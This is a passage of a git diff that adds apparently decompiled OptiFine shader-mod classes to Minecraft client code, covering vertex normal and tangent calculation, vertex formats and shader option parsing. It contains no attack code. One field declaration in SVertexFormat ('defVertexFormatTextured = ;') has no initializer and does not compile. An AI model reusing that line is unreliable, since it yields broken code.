+    float v3z = floatBuffer.get(baseIndex + 3 * vertexSize + 2);
+    float v3u = floatBuffer.get(baseIndex + 3 * vertexSize + offsetUV);
+    float v3v = floatBuffer.get(baseIndex + 3 * vertexSize + offsetUV + 1);
+    float x1 = v2x - v0x;
+    float y1 = v2y - v0y;
+    float z1 = v2z - v0z;
+    float x2 = v3x - v1x;
+    float y2 = v3y - v1y;
+    float z2 = v3z - v1z;
+    float vnx = y1 * z2 - y2 * z1;
+    float vny = z1 * x2 - z2 * x1;
+    float vnz = x1 * y2 - x2 * y1;
+    float lensq = vnx * vnx + vny * vny + vnz * vnz;
+    float mult = lensq != 0.0D ? (float)(1.0D / Math.sqrt(lensq)) : 1.0F;
+    vnx *= mult;
+    vny *= mult;
+    vnz *= mult;
+    x1 = v1x - v0x;
+    y1 = v1y - v0y;
+    z1 = v1z - v0z;
+    float u1 = v1u - v0u;
+    float v1 = v1v - v0v;
+    x2 = v2x - v0x;
+    y2 = v2y - v0y;
+    z2 = v2z - v0z;
+    float u2 = v2u - v0u;
+    float v2 = v2v - v0v;
+    float d = u1 * v2 - u2 * v1;
+    float r = d != 0.0F ? 1.0F / d : 1.0F;
+    float tan1x = (v2 * x1 - v1 * x2) * r;
+    float tan1y = (v2 * y1 - v1 * y2) * r;
+    float tan1z = (v2 * z1 - v1 * z2) * r;
+    float tan2x = (u1 * x2 - u2 * x1) * r;
+    float tan2y = (u1 * y2 - u2 * y1) * r;
+    float tan2z = (u1 * z2 - u2 * z1) * r;
+    lensq = tan1x * tan1x + tan1y * tan1y + tan1z * tan1z;
+    mult = lensq != 0.0D ? (float)(1.0D / Math.sqrt(lensq)) : 1.0F;
+    tan1x *= mult;
+    tan1y *= mult;
+    tan1z *= mult;
+    lensq = tan2x * tan2x + tan2y * tan2y + tan2z * tan2z;
+    mult = lensq != 0.0D ? (float)(1.0D / Math.sqrt(lensq)) : 1.0F;
+    tan2x *= mult;
+    tan2y *= mult;
+    tan2z *= mult;
+    float tan3x = vnz * tan1y - vny * tan1z;
+    float tan3y = vnx * tan1z - vnz * tan1x;
+    float tan3z = vny * tan1x - vnx * tan1y;
+    float tan1w = tan2x * tan3x + tan2y * tan3y + tan2z * tan3z < 0.0F ? -1.0F : 1.0F;
+    int bnx = (int)(vnx * 127.0F) & 0xFF;
+    int bny = (int)(vny * 127.0F) & 0xFF;
+    int bnz = (int)(vnz * 127.0F) & 0xFF;
+    int packedNormal = (bnz << 16) + (bny << 8) + bnx;
+    intBuffer.put(baseIndex + 0 * vertexSize + offsetNormal, packedNormal);
+    intBuffer.put(baseIndex + 1 * vertexSize + offsetNormal, packedNormal);
+    intBuffer.put(baseIndex + 2 * vertexSize + offsetNormal, packedNormal);
+    intBuffer.put(baseIndex + 3 * vertexSize + offsetNormal, packedNormal);
+    int packedTan1xy = ((int)(tan1x * 32767.0F) & 0xFFFF) + (((int)(tan1y * 32767.0F) & 0xFFFF) << 16);
+    int packedTan1zw = ((int)(tan1z * 32767.0F) & 0xFFFF) + (((int)(tan1w * 32767.0F) & 0xFFFF) << 16);
+    intBuffer.put(baseIndex + 0 * vertexSize + 10, packedTan1xy);
+    intBuffer.put(baseIndex + 0 * vertexSize + 10 + 1, packedTan1zw);
+    intBuffer.put(baseIndex + 1 * vertexSize + 10, packedTan1xy);
+    intBuffer.put(baseIndex + 1 * vertexSize + 10 + 1, packedTan1zw);
+    intBuffer.put(baseIndex + 2 * vertexSize + 10, packedTan1xy);
+    intBuffer.put(baseIndex + 2 * vertexSize + 10 + 1, packedTan1zw);
+    intBuffer.put(baseIndex + 3 * vertexSize + 10, packedTan1xy);
+    intBuffer.put(baseIndex + 3 * vertexSize + 10 + 1, packedTan1zw);
+    float midU = (v0u + v1u + v2u + v3u) / 4.0F;
+    float midV = (v0v + v1v + v2v + v3v) / 4.0F;
+    floatBuffer.put(baseIndex + 0 * vertexSize + 8, midU);
+    floatBuffer.put(baseIndex + 0 * vertexSize + 8 + 1, midV);
+    floatBuffer.put(baseIndex + 1 * vertexSize + 8, midU);
+    floatBuffer.put(baseIndex + 1 * vertexSize + 8 + 1, midV);
+    floatBuffer.put(baseIndex + 2 * vertexSize + 8, midU);
+    floatBuffer.put(baseIndex + 2 * vertexSize + 8 + 1, midV);
+    floatBuffer.put(baseIndex + 3 * vertexSize + 8, midU);
+    floatBuffer.put(baseIndex + 3 * vertexSize + 8 + 1, midV);
+  }
+  
+  public static void calcNormalChunkLayer(WorldRenderer wrr)
+  {
+    if ((wrr.func_178973_g().func_177350_b()) && (drawMode == 7) && (vertexCount % 4 == 0))
+    {
+      SVertexBuilder svb = sVertexBuilder;
+      endSetVertexFormat(wrr);
+      int indexEnd = vertexCount * vertexSize;
+      
+      for (int index = 0; index < indexEnd; index += vertexSize * 4)
+      {
+        svb.calcNormal(wrr, index);
+      }
+    }
+  }
+  
+  public static void drawArrays(int drawMode, int first, int count, WorldRenderer wrr)
+  {
+    if (count != 0)
+    {
+      VertexFormat vf = wrr.func_178973_g();
+      int vertexSizeByte = vf.func_177338_f();
+      
+      if (vertexSizeByte == 56)
+      {
+        ByteBuffer bb = wrr.func_178966_f();
+        bb.position(32);
+        GL20.glVertexAttribPointer(Shaders.midTexCoordAttrib, 2, 5126, false, vertexSizeByte, bb);
+        bb.position(40);
+        GL20.glVertexAttribPointer(Shaders.tangentAttrib, 4, 5122, false, vertexSizeByte, bb);
+        bb.position(48);
+        GL20.glVertexAttribPointer(Shaders.entityAttrib, 3, 5122, false, vertexSizeByte, bb);
+        bb.position(0);
+        GL20.glEnableVertexAttribArray(Shaders.midTexCoordAttrib);
+        GL20.glEnableVertexAttribArray(Shaders.tangentAttrib);
+        GL20.glEnableVertexAttribArray(Shaders.entityAttrib);
+        GL11.glDrawArrays(drawMode, first, count);
+        GL20.glDisableVertexAttribArray(Shaders.midTexCoordAttrib);
+        GL20.glDisableVertexAttribArray(Shaders.tangentAttrib);
+        GL20.glDisableVertexAttribArray(Shaders.entityAttrib);
+      }
+      else
+      {
+        GL11.glDrawArrays(drawMode, first, count);
+      }
+    }
+  }
+  
+  public static void startTexturedQuad(WorldRenderer wrr)
+  {
+    wrr.setVertexFormat(SVertexFormat.defVertexFormatTextured);
+  }
+}
diff --git a/src/minecraft/shadersmod/client/SVertexFormat.java b/src/minecraft/shadersmod/client/SVertexFormat.java
new file mode 100644
index 0000000..8688336
--- /dev/null
+++ b/src/minecraft/shadersmod/client/SVertexFormat.java
@@ -0,0 +1,72 @@
+package shadersmod.client;
+
+import net.minecraft.client.renderer.vertex.VertexFormat;
+import net.minecraft.client.renderer.vertex.VertexFormatElement;
+
+public class SVertexFormat
+{
+  public static final int vertexSizeBlock = 14;
+  public static final int offsetMidTexCoord = 8;
+  public static final int offsetTangent = 10;
+  public static final int offsetEntity = 12;
+  public static final VertexFormat defVertexFormatTextured = ;
+  
+  public SVertexFormat() {}
+  
+  public static VertexFormat makeDefVertexFormatBlock() { VertexFormat vf = new VertexFormat();
+    vf.func_177349_a(new VertexFormatElement(0, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumType.FLOAT, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumUseage.POSITION, 3));
+    vf.func_177349_a(new VertexFormatElement(0, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumType.UBYTE, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumUseage.COLOR, 4));
+    vf.func_177349_a(new VertexFormatElement(0, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumType.FLOAT, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumUseage.UV, 2));
+    vf.func_177349_a(new VertexFormatElement(1, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumType.SHORT, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumUseage.UV, 2));
+    vf.func_177349_a(new VertexFormatElement(0, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumType.BYTE, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumUseage.NORMAL, 3));
+    vf.func_177349_a(new VertexFormatElement(0, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumType.BYTE, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumUseage.PADDING, 1));
+    vf.func_177349_a(new VertexFormatElement(0, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumType.FLOAT, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumUseage.PADDING, 2));
+    vf.func_177349_a(new VertexFormatElement(0, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumType.SHORT, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumUseage.PADDING, 4));
+    vf.func_177349_a(new VertexFormatElement(0, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumType.SHORT, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumUseage.PADDING, 4));
+    return vf;
+  }
+  
+  public static VertexFormat makeDefVertexFormatItem()
+  {
+    VertexFormat vf = new VertexFormat();
+    vf.func_177349_a(new VertexFormatElement(0, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumType.FLOAT, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumUseage.POSITION, 3));
+    vf.func_177349_a(new VertexFormatElement(0, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumType.UBYTE, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumUseage.COLOR, 4));
+    vf.func_177349_a(new VertexFormatElement(0, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumType.FLOAT, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumUseage.UV, 2));
+    vf.func_177349_a(new VertexFormatElement(0, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumType.SHORT, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumUseage.PADDING, 2));
+    vf.func_177349_a(new VertexFormatElement(0, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumType.BYTE, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumUseage.NORMAL, 3));
+    vf.func_177349_a(new VertexFormatElement(0, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumType.BYTE, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumUseage.PADDING, 1));
+    vf.func_177349_a(new VertexFormatElement(0, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumType.FLOAT, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumUseage.PADDING, 2));
+    vf.func_177349_a(new VertexFormatElement(0, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumType.SHORT, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumUseage.PADDING, 4));
+    vf.func_177349_a(new VertexFormatElement(0, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumType.SHORT, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumUseage.PADDING, 4));
+    return vf;
+  }
+  
+  public static VertexFormat makeDefVertexFormatTextured()
+  {
+    VertexFormat vf = new VertexFormat();
+    vf.func_177349_a(new VertexFormatElement(0, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumType.FLOAT, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumUseage.POSITION, 3));
+    vf.func_177349_a(new VertexFormatElement(0, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumType.UBYTE, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumUseage.PADDING, 4));
+    vf.func_177349_a(new VertexFormatElement(0, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumType.FLOAT, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumUseage.UV, 2));
+    vf.func_177349_a(new VertexFormatElement(0, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumType.SHORT, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumUseage.PADDING, 2));
+    vf.func_177349_a(new VertexFormatElement(0, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumType.BYTE, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumUseage.NORMAL, 3));
+    vf.func_177349_a(new VertexFormatElement(0, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumType.BYTE, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumUseage.PADDING, 1));
+    vf.func_177349_a(new VertexFormatElement(0, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumType.FLOAT, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumUseage.PADDING, 2));
+    vf.func_177349_a(new VertexFormatElement(0, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumType.SHORT, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumUseage.PADDING, 4));
+    vf.func_177349_a(new VertexFormatElement(0, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumType.SHORT, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumUseage.PADDING, 4));
+    return vf;
+  }
+  
+  public static void setDefBakedFormat(VertexFormat vf)
+  {
+    vf.clear();
+    vf.func_177349_a(new VertexFormatElement(0, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumType.FLOAT, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumUseage.POSITION, 3));
+    vf.func_177349_a(new VertexFormatElement(0, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumType.UBYTE, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumUseage.COLOR, 4));
+    vf.func_177349_a(new VertexFormatElement(0, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumType.FLOAT, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumUseage.UV, 2));
+    vf.func_177349_a(new VertexFormatElement(0, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumType.SHORT, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumUseage.PADDING, 2));
+    vf.func_177349_a(new VertexFormatElement(0, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumType.BYTE, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumUseage.NORMAL, 3));
+    vf.func_177349_a(new VertexFormatElement(0, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumType.BYTE, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumUseage.PADDING, 1));
+    vf.func_177349_a(new VertexFormatElement(0, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumType.FLOAT, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumUseage.PADDING, 2));
+    vf.func_177349_a(new VertexFormatElement(0, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumType.SHORT, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumUseage.PADDING, 4));
+    vf.func_177349_a(new VertexFormatElement(0, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumType.SHORT, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumUseage.PADDING, 4));
+  }
+}
diff --git a/src/minecraft/shadersmod/client/SVertexFormatElement.java b/src/minecraft/shadersmod/client/SVertexFormatElement.java
new file mode 100644
index 0000000..2f6e072
--- /dev/null
+++ b/src/minecraft/shadersmod/client/SVertexFormatElement.java
@@ -0,0 +1,14 @@
+package shadersmod.client;
+
+import net.minecraft.client.renderer.vertex.VertexFormatElement;
+
+public class SVertexFormatElement extends VertexFormatElement
+{
+  int sUsage;
+  
+  public SVertexFormatElement(int sUsage, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumType type, int count)
+  {
+    super(0, type, net.minecraft.client.renderer.vertex.VertexFormatElement.EnumUseage.PADDING, count);
+    this.sUsage = sUsage;
+  }
+}
diff --git a/src/minecraft/shadersmod/client/ShaderOption.java b/src/minecraft/shadersmod/client/ShaderOption.java
new file mode 100644
index 0000000..2bf73ed
--- /dev/null
+++ b/src/minecraft/shadersmod/client/ShaderOption.java
@@ -0,0 +1,210 @@
+package shadersmod.client;
+
+import java.util.Arrays;
+import java.util.List;
+import optifine.Config;
+import optifine.StrUtils;
+
+
+public abstract class ShaderOption
+{
+  private String name = null;
+  private String description = null;
+  private String value = null;
+  private String[] values = null;
+  private String valueDefault = null;
+  private String[] paths = null;
+  private boolean enabled = true;
+  private boolean visible = true;
+  public static final String COLOR_GREEN = "§a";
+  public static final String COLOR_RED = "§c";
+  public static final String COLOR_BLUE = "§9";
+  
+  public ShaderOption(String name, String description, String value, String[] values, String valueDefault, String path)
+  {
+    this.name = name;
+    this.description = description;
+    this.value = value;
+    this.values = values;
+    this.valueDefault = valueDefault;
+    
+    if (path != null)
+    {
+      paths = new String[] { path };
+    }
+  }
+  
+  public String getName()
+  {
+    return name;
+  }
+  
+  public String getDescription()
+  {
+    return description;
+  }
+  
+  public String getDescriptionText()
+  {
+    String desc = Config.normalize(description);
+    desc = StrUtils.removePrefix(desc, "//");
+    desc = Shaders.translate("option." + getName() + ".comment", desc);
+    return desc;
+  }
+  
+  public void setDescription(String description)
+  {
+    this.description = description;
+  }
+  
+  public String getValue()
+  {
+    return value;
+  }
+  
+  public boolean setValue(String value)
+  {
+    int index = getIndex(value, values);
+    
+    if (index < 0)
+    {
+      return false;
+    }
+    
+
+    this.value = value;
+    return true;
+  }
+  
+
+  public String getValueDefault()
+  {
+    return valueDefault;
+  }
+  
+  public void resetValue()
+  {
+    value = valueDefault;
+  }
+  
+  public void nextValue()
+  {
+    int index = getIndex(value, values);
+    
+    if (index >= 0)
+    {
+      index = (index + 1) % values.length;
+      value = values[index];
+    }
+  }
+  
+  private static int getIndex(String str, String[] strs)
+  {
+    for (int i = 0; i < strs.length; i++)
+    {
+      String s = strs[i];
+      
+      if (s.equals(str))
+      {
+        return i;
+      }
+    }
+    
+    return -1;
+  }
+  
+  public String[] getPaths()
+  {
+    return paths;
+  }
+  
+  public void addPaths(String[] newPaths)
+  {
+    List pathList = Arrays.asList(paths);
+    
+    for (int i = 0; i < newPaths.length; i++)
+    {
+      String newPath = newPaths[i];
+      
+      if (!pathList.contains(newPath))
+      {
+        paths = ((String[])Config.addObjectToArray(paths, newPath));
+      }
+    }
+  }
+  
+  public boolean isEnabled()
+  {
+    return enabled;
+  }
+  
+  public void setEnabled(boolean enabled)
+  {
+    this.enabled = enabled;
+  }
+  
+  public boolean isChanged()
+  {
+    return !Config.equals(value, valueDefault);
+  }
+  
+  public boolean isVisible()
+  {
+    return visible;
+  }
+  
+  public void setVisible(boolean visible)
+  {
+    this.visible = visible;
+  }
+  
+  public boolean isValidValue(String val)
+  {
+    return getIndex(val, values) >= 0;
+  }
+  
+  public String getNameText()
+  {
+    return Shaders.translate("option." + name, name);
+  }
+  
+  public String getValueText(String val)
+  {
+    return val;
+  }
+  
+  public String getValueColor(String val)
+  {
+    return "";
+  }
+  
+  public boolean matchesLine(String line)
+  {
+    return false;
+  }
+  
+  public boolean checkUsed()
+  {
+    return false;
+  }
+  
+  public boolean isUsedInLine(String line)
+  {
+    return false;
+  }
+  
+  public String getSourceLine()
+  {
+    return null;
+  }
+  
+  public String[] getValues()
+  {
+    return (String[])values.clone();
+  }
+  
+  public String toString()
+  {
+    return name + ", value: " + value + ", valueDefault: " + valueDefault + ", paths: " + Config.arrayToString(paths);
+  }
+}
diff --git a/src/minecraft/shadersmod/client/ShaderOptionProfile.java b/src/minecraft/shadersmod/client/ShaderOptionProfile.java
new file mode 100644
index 0000000..86d8eba
--- /dev/null
+++ b/src/minecraft/shadersmod/client/ShaderOptionProfile.java
@@ -0,0 +1,136 @@
+package shadersmod.client;
+
+import java.util.ArrayList;
+import optifine.Lang;
+
+public class ShaderOptionProfile
+  extends ShaderOption
+{
+  private ShaderProfile[] profiles = null;
+  private ShaderOption[] options = null;
+  private static final String NAME_PROFILE = "<profile>";
+  private static final String VALUE_CUSTOM = "<custom>";
+  
+  public ShaderOptionProfile(ShaderProfile[] profiles, ShaderOption[] options)
+  {
+    super("<profile>", "", detectProfileName(profiles, options), getProfileNames(profiles), detectProfileName(profiles, options, true), null);
+    this.profiles = profiles;
+    this.options = options;
+  }
+  
+  public void nextValue()
+  {
+    super.nextValue();
+    
+    if (getValue().equals("<custom>"))
+    {
+      super.nextValue();
+    }
+    
+    applyProfileOptions();
+  }
+  
+  public void updateProfile()
+  {
+    ShaderProfile prof = getProfile(getValue());
+    
+    if ((prof == null) || (!ShaderUtils.matchProfile(prof, options, false)))
+    {
+      String val = detectProfileName(profiles, options);
+      setValue(val);
+    }
+  }
+  
+  private void applyProfileOptions()
+  {
+    ShaderProfile prof = getProfile(getValue());
+    
+    if (prof != null)
+    {
+      String[] opts = prof.getOptions();
+      
+      for (int i = 0; i < opts.length; i++)
+      {
+        String name = opts[i];
+        ShaderOption so = getOption(name);
+        
+        if (so != null)
+        {
+          String val = prof.getValue(name);
+          so.setValue(val);
+        }
+      }
+    }
+  }
+  
+  private ShaderOption getOption(String name)
+  {
+    for (int i = 0; i < options.length; i++)
+    {
+      ShaderOption so = options[i];
+      
+      if (so.getName().equals(name))
+      {
+        return so;
+      }
+    }
+    
+    return null;
+  }
+  
+  private ShaderProfile getProfile(String name)
+  {
+    for (int i = 0; i < profiles.length; i++)
+    {
+      ShaderProfile prof = profiles[i];
+      
+      if (prof.getName().equals(name))
+      {
+        return prof;
+      }
+    }
+    
+    return null;
+  }
+  
+  public String getNameText()
+  {
+    return Lang.get("of.shaders.profile");
+  }
+  
+  public String getValueText(String val)
+  {
+    return val.equals("<custom>") ? Lang.get("of.general.custom", "<custom>") : Shaders.translate("profile." + val, val);
+  }
+  
+  public String getValueColor(String val)
+  {
+    return val.equals("<custom>") ? "§c" : "§a";
+  }
+  
+  private static String detectProfileName(ShaderProfile[] profs, ShaderOption[] opts)
+  {
+    return detectProfileName(profs, opts, false);
+  }
+  
+  private static String detectProfileName(ShaderProfile[] profs, ShaderOption[] opts, boolean def)
+  {
+    ShaderProfile prof = ShaderUtils.detectProfile(profs, opts, def);
+    return prof == null ? "<custom>" : prof.getName();
+  }
+  
+  private static String[] getProfileNames(ShaderProfile[] profs)
+  {
+    ArrayList list = new ArrayList();
+    
+    for (int names = 0; names < profs.length; names++)
+    {
+      ShaderProfile prof = profs[names];
+      list.add(prof.getName());
+    }
+    
+    list.add("<custom>");
+    String[] var4 = (String[])list.toArray(new String[list.size()]);
+    return var4;
+  }
+}
diff --git a/src/minecraft/shadersmod/client/ShaderOptionRest.java b/src/minecraft/shadersmod/client/ShaderOptionRest.java
new file mode 100644
index 0000000..09f566b
--- /dev/null
+++ b/src/minecraft/shadersmod/client/ShaderOptionRest.java
@@ -0,0 +1,9 @@
+package shadersmod.client;
+
+public class ShaderOptionRest extends ShaderOption
+{
+  public ShaderOptionRest(String name)
+  {
+    super(name, name, null, new String[1], null, null);
+  }
+}
diff --git a/src/minecraft/shadersmod/client/ShaderOptionScreen.java b/src/minecraft/shadersmod/client/ShaderOptionScreen.java
new file mode 100644
index 0000000..716654b
--- /dev/null
+++ b/src/minecraft/shadersmod/client/ShaderOptionScreen.java
@@ -0,0 +1,19 @@
+package shadersmod.client;
+
+public class ShaderOptionScreen extends ShaderOption
+{
+  public ShaderOptionScreen(String name)
+  {
+    super(name, null, null, new String[1], null, null);
+  }
+  
+  public String getNameText()
+  {
+    return Shaders.translate("screen." + getName(), getName());
+  }
+  
+  public String getDescriptionText()
+  {
+    return Shaders.translate("screen." + getName() + ".comment", null);
+  }
+}
diff --git a/src/minecraft/shadersmod/client/ShaderOptionSwitch.java b/src/minecraft/shadersmod/client/ShaderOptionSwitch.java
new file mode 100644
index 0000000..a43df85
--- /dev/null
+++ b/src/minecraft/shadersmod/client/ShaderOptionSwitch.java
@@ -0,0 +1,105 @@
+package shadersmod.client;
+
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+import optifine.Config;
+import optifine.Lang;
+import optifine.StrUtils;
+
+public class ShaderOptionSwitch
+  extends ShaderOption
+{
+  private static final Pattern PATTERN_DEFINE = Pattern.compile("^\\s*(//)?\\s*#define\\s+([A-Za-z0-9_]+)\\s*(//.*)?$");
+  private static final Pattern PATTERN_IFDEF = Pattern.compile("^\\s*#if(n)?def\\s+([A-Za-z0-9_]+)(\\s*)?$");
+  
+  public ShaderOptionSwitch(String name, String description, String value, String path)
+  {
+    super(name, description, value, new String[] { "true", "false" }, value, path);
+  }
+  
+  public String getSourceLine()
+  {
+    return "//#define " + getName() + " // Shader option OFF";
+  }
+  
+  public String getValueText(String val)
+  {
+    return isTrue(val) ? Lang.getOn() : Lang.getOff();
+  }
+  
+  public String getValueColor(String val)
+  {
+    return isTrue(val) ? "§a" : "§c";
+  }
+  
+  public static ShaderOption parseOption(String line, String path)
+  {
+    Matcher m = PATTERN_DEFINE.matcher(line);
+    
+    if (!m.matches())
+    {
+      return null;
+    }
+    
+
+    String comment = m.group(1);
+    String name = m.group(2);
+    String description = m.group(3);
+    
+    if ((name != null) && (name.length() > 0))
+    {
+      boolean commented = Config.equals(comment, "//");
+      boolean enabled = !commented;
+      path = StrUtils.removePrefix(path, "/shaders/");
+      ShaderOptionSwitch so = new ShaderOptionSwitch(name, description, String.valueOf(enabled), path);
+      return so;
+    }
+    
+
+    return null;
+  }
+  
+
+
+  public boolean matchesLine(String line)
+  {
+    Matcher m = PATTERN_DEFINE.matcher(line);
+    
+    if (!m.matches())
+    {
+      return false;
+    }
+    
+
+    String defName = m.group(2);
+    return defName.matches(getName());
+  }
+  
+
+  public boolean checkUsed()
+  {
+    return true;
+  }
+  
+  public boolean isUsedInLine(String line)
+  {
+    Matcher mif = PATTERN_IFDEF.matcher(line);
+    
+    if (mif.matches())
+    {
+      String name = mif.group(2);
+      
+      if (name.equals(getName()))
+      {
+        return true;
+      }
+    }
+    
+    return false;
+  }
+  
+  public static boolean isTrue(String val)
+  {
+    return Boolean.valueOf(val).booleanValue();
+  }
+}
diff --git a/src/minecraft/shadersmod/client/ShaderOptionSwitchConst.java b/src/minecraft/shadersmod/client/ShaderOptionSwitchConst.java
new file mode 100644
index 0000000..1ffd633
--- /dev/null
+++ b/src/minecraft/shadersmod/client/ShaderOptionSwitchConst.java
@@ -0,0 +1,69 @@
+package shadersmod.client;
+
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+import optifine.StrUtils;
+
+public class ShaderOptionSwitchConst
+  extends ShaderOptionSwitch
+{
+  private static final Pattern PATTERN_CONST = Pattern.compile("^\\s*const\\s*bool\\s*([A-Za-z0-9_]+)\\s*=\\s*(true|false)\\s*;\\s*(//.*)?$");
+  
+  public ShaderOptionSwitchConst(String name, String description, String value, String path)
+  {
+    super(name, description, value, path);
+  }
+  
+  public String getSourceLine()
+  {
+    return "const bool " + getName() + " = " + getValue() + "; // Shader option " + getValue();
+  }
+  
+  public static ShaderOption parseOption(String line, String path)
+  {
+    Matcher m = PATTERN_CONST.matcher(line);
+    
+    if (!m.matches())
+    {
+      return null;
+    }
+    
+
+    String name = m.group(1);
+    String value = m.group(2);
+    String description = m.group(3);
+    
+    if ((name != null) && (name.length() > 0))
+    {
+      path = StrUtils.removePrefix(path, "/shaders/");
+      ShaderOptionSwitchConst so = new ShaderOptionSwitchConst(name, description, value, path);
+      so.setVisible(false);
+      return so;
+    }
+    
+
+    return null;
+  }
+  
+
+
+  public boolean matchesLine(String line)
+  {
+    Matcher m = PATTERN_CONST.matcher(line);
+    
+    if (!m.matches())
+    {
+      return false;
+    }
+    
+
+    String defName = m.group(1);
+    return defName.matches(getName());
+  }
+  
+
+  public boolean checkUsed()
+  {
+    return false;
+  }
+}
diff --git a/src/minecraft/shadersmod/client/ShaderOptionVariable.java b/src/minecraft/shadersmod/client/ShaderOptionVariable.java
new file mode 100644
index 0000000..77b01ca
--- /dev/null
+++ b/src/minecraft/shadersmod/client/ShaderOptionVariable.java
@@ -0,0 +1,116 @@
+package shadersmod.client;
+
+import java.util.Arrays;
+import java.util.List;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+import optifine.Config;
+import optifine.StrUtils;
+
+public class ShaderOptionVariable extends ShaderOption
+{
+  private static final Pattern PATTERN_VARIABLE = Pattern.compile("^\\s*#define\\s+([A-Za-z0-9_]+)\\s+(-?[0-9\\.]*)F?f?\\s*(//.*)?$");
+  
+  public ShaderOptionVariable(String name, String description, String value, String[] values, String path)
+  {
+    super(name, description, value, values, value, path);
+    setVisible(getValues().length > 1);
+  }
+  
+  public String getSourceLine()
+  {
+    return "#define " + getName() + " " + getValue() + " // Shader option " + getValue();
+  }
+  
+  public String getValueColor(String val)
+  {
+    return "§a";
+  }
+  
+  public boolean matchesLine(String line)
+  {
+    Matcher m = PATTERN_VARIABLE.matcher(line);
+    
+    if (!m.matches())
+    {
+      return false;
+    }
+    
+
+    String defName = m.group(1);
+    return defName.matches(getName());
+  }
+  
+
+  public static ShaderOption parseOption(String line, String path)
+  {
+    Matcher m = PATTERN_VARIABLE.matcher(line);
+    
+    if (!m.matches())
+    {
+      return null;
+    }
+    
+
+    String name = m.group(1);
+    String value = m.group(2);
+    String description = m.group(3);
+    String vals = StrUtils.getSegment(description, "[", "]");
+    
+    if ((vals != null) && (vals.length() > 0))
+    {
+      description = description.replace(vals, "").trim();
+    }
+    
+    String[] values = parseValues(value, vals);
+    
+    if ((name != null) && (name.length() > 0))
+    {
+      path = StrUtils.removePrefix(path, "/shaders/");
+      ShaderOptionVariable so = new ShaderOptionVariable(name, description, value, values, path);
+      return so;
+    }
+    
+
+    return null;
+  }
+  
+
+
+  public static String[] parseValues(String value, String valuesStr)
+  {
+    String[] values = { value };
+    
+    if (valuesStr == null)
+    {
+      return values;
+    }
+    
+
+    valuesStr = valuesStr.trim();
+    valuesStr = StrUtils.removePrefix(valuesStr, "[");
+    valuesStr = StrUtils.removeSuffix(valuesStr, "]");
+    valuesStr = valuesStr.trim();
+    
+    if (valuesStr.length() <= 0)
+    {
+      return values;
+    }
+    
+
+    String[] parts = Config.tokenize(valuesStr, " ");
+    
+    if (parts.length <= 0)
+    {
+      return values;
+    }
+    
+
+    if (!Arrays.asList(parts).contains(value))
+    {
+      parts = (String[])Config.addObjectToArray(parts, value, 0);
+    }
